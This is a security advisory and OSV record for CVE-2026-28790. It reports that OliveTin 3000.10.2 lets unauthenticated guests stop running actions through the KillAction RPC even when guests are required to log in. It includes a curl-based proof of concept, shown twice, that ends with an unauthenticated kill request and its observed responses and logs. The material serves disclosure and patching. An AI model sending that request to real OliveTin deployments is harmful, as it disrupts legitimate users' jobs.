GHSA-4FQM-6FMH-82MQ
Vulnerability from github – Published: 2026-03-02 21:42 – Updated: 2026-03-05 22:49Summary
OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.
Details
The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.
KillAction() authenticates the caller and applies only the per-action kill ACL check:
- service/internal/api/api.go:62
However, it does not enforce the guest login requirement. The guest/login gate exists separately in:
- service/internal/api/api.go:474
That gate is used by dashboard-style methods, but not by KillAction.
In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:
- service/internal/config/sanitize.go:160
Specifically:
- DefaultPermissions.View = false
- DefaultPermissions.Exec = false
- DefaultPermissions.Logs = false
- DefaultPermissions.Kill remains unchanged
As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():
- service/internal/acl/acl.go:133
I validated this behavior on a clean 3000.10.2 setup:
- guests were denied access to GetDashboard
- an authenticated admin user started a long-running action
- an unauthenticated guest successfully called KillAction
- the action was terminated
This confirms a real authorization bypass affecting action termination.
PoC
Tested version:
3000.10.2
- Create a minimal config:
mkdir -p /tmp/olivetin-kill-bypass
cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: "admin"
usergroup: "admin"
password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"
accessControlLists:
- name: adminall
addToEveryAction: true
matchUsernames: ["admin"]
permissions:
view: true
exec: true
logs: true
kill: true
actions:
- title: long-running
id: long-running
shell: sleep 20
timeout: 30
YAML
- Start OliveTin 3000.10.2:
docker rm -f olivetin-kill-bypass 2>/dev/null || true
docker run -d --name olivetin-kill-bypass \
-p 1347:1337 \
-v /tmp/olivetin-kill-bypass:/config:ro \
ghcr.io/olivetin/olivetin:3000.10.2
- Confirm the server is ready:
curl -i http://127.0.0.1:1347/readyz
- Prove guests are blocked from dashboard access:
curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
-H 'Content-Type: application/json' \
--data '{"title":"default"}'
Observed response:
HTTP/1.1 403 Forbidden
{"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
- Log in as admin:
curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"SecretPass123!"}'
- Start a long-running action as admin:
curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
-H 'Content-Type: application/json' \
--data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1"}
- Kill it as an unauthenticated guest:
curl -i -X POST http://127.0.0.1:1347/api/KillAction \
-H 'Content-Type: application/json' \
--data '{"executionTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
- Confirm in container logs:
docker logs olivetin-kill-bypass 2>&1 | tail -n 120
Observed relevant lines:
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
Action started actionTitle="long-running"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
Killing execution request by tracking ID: kill-hunt-1
Action finished actionTitle="long-running" exit="-1"
This proves:
- guests are denied dashboard access
- guests can still invoke KillAction
- the running action is successfully terminated by an unauthenticated user
Impact
This is an unauthenticated broken access control vulnerability resulting in denial of service.
An unauthenticated guest can:
- terminate active jobs started by legitimate users
- disrupt long-running administrative or operational workflows
- interfere with privileged actions without being allowed to log in
Who is impacted:
- OliveTin deployments with authRequireGuestsToLogin: true
- multi-user environments where actions may run for meaningful durations
- operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks
This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260302002902-d9804182eae4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28790"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-02T21:42:12Z",
"nvd_published_at": "2026-03-05T20:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nOliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.\n\n\n\n\n### Details\nThe issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.\n\n KillAction() authenticates the caller and applies only the per-action kill ACL check:\n\n - service/internal/api/api.go:62\n\n However, it does not enforce the guest login requirement. The guest/login gate exists separately in:\n\n - service/internal/api/api.go:474\n\n That gate is used by dashboard-style methods, but not by KillAction.\n\n In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:\n\n - service/internal/config/sanitize.go:160\n\n Specifically:\n\n - DefaultPermissions.View = false\n - DefaultPermissions.Exec = false\n - DefaultPermissions.Logs = false\n - DefaultPermissions.Kill remains unchanged\n\n As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():\n\n - service/internal/acl/acl.go:133\n\n I validated this behavior on a clean 3000.10.2 setup:\n\n - guests were denied access to GetDashboard\n - an authenticated admin user started a long-running action\n - an unauthenticated guest successfully called KillAction\n - the action was terminated\n\n This confirms a real authorization bypass affecting action termination.\n\n\n### PoC\n Tested version:\n```\n 3000.10.2\n```\n 1. Create a minimal config:\n```bash\n mkdir -p /tmp/olivetin-kill-bypass\n cat \u003e /tmp/olivetin-kill-bypass/config.yaml \u003c\u003c\u0027YAML\u0027\n listenAddressSingleHTTPFrontend: 0.0.0.0:1337\n logLevel: \"DEBUG\"\n checkForUpdates: false\n\n authRequireGuestsToLogin: true\n authLocalUsers:\n enabled: true\n users:\n - username: \"admin\"\n usergroup: \"admin\"\n password: \"$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4\"\n\n accessControlLists:\n - name: adminall\n addToEveryAction: true\n matchUsernames: [\"admin\"]\n permissions:\n view: true\n exec: true\n logs: true\n kill: true\n\n actions:\n - title: long-running\n id: long-running\n shell: sleep 20\n timeout: 30\n YAML\n```\n 2. Start OliveTin 3000.10.2:\n```bash\n docker rm -f olivetin-kill-bypass 2\u003e/dev/null || true\n docker run -d --name olivetin-kill-bypass \\\n -p 1347:1337 \\\n -v /tmp/olivetin-kill-bypass:/config:ro \\\n ghcr.io/olivetin/olivetin:3000.10.2\n```\n 3. Confirm the server is ready:\n```bash\n curl -i http://127.0.0.1:1347/readyz\n```\n 4. Prove guests are blocked from dashboard access:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"title\":\"default\"}\u0027\n\n Observed response:\n\n HTTP/1.1 403 Forbidden\n {\"code\":\"permission_denied\",\"message\":\"guests are not allowed to access the dashboard\"}\n```\n 5. Log in as admin:\n```bash\n curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"username\":\"admin\",\"password\":\"SecretPass123!\"}\u0027\n```\n 6. Start a long-running action as admin:\n```bash\n curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"bindingId\":\"long-running\",\"arguments\":[],\"uniqueTrackingId\":\"kill-hunt-1\"}\u0027\n\n Observed response:\n\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\"}\n```\n 7. Kill it as an unauthenticated guest:\n```bash\n curl -i -X POST http://127.0.0.1:1347/api/KillAction \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"executionTrackingId\":\"kill-hunt-1\"}\u0027\n```\n Observed response:\n```bash\n HTTP/1.1 200 OK\n {\"executionTrackingId\":\"kill-hunt-1\",\"killed\":true,\"alreadyCompleted\":false,\"found\":true}\n```\n 8. Confirm in container logs:\n```bash\n docker logs olivetin-kill-bypass 2\u003e\u00261 | tail -n 120\n```\n Observed relevant lines:\n```bash\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/GetDashboard\" ... username=\"guest\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/StartAction\" ... username=\"admin\"\n Action started actionTitle=\"long-running\"\n Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/KillAction\" ... username=\"guest\"\n Killing execution request by tracking ID: kill-hunt-1\n Action finished actionTitle=\"long-running\" exit=\"-1\"\n```\n This proves:\n\n - guests are denied dashboard access\n - guests can still invoke KillAction\n - the running action is successfully terminated by an unauthenticated user\n\n\n### Impact\nThis is an unauthenticated broken access control vulnerability resulting in denial of service.\n\n An unauthenticated guest can:\n\n - terminate active jobs started by legitimate users\n - disrupt long-running administrative or operational workflows\n - interfere with privileged actions without being allowed to log in\n\n Who is impacted:\n\n - OliveTin deployments with authRequireGuestsToLogin: true\n - multi-user environments where actions may run for meaningful durations\n - operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks\n\n This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted\n through adjacent leaks or shared operator knowledge.",
"id": "GHSA-4fqm-6fmh-82mq",
"modified": "2026-03-05T22:49:37Z",
"published": "2026-03-02T21:42:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-4fqm-6fmh-82mq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28790"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/d9804182eae43cf49f735e6533ddbe1541c2b9a9"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.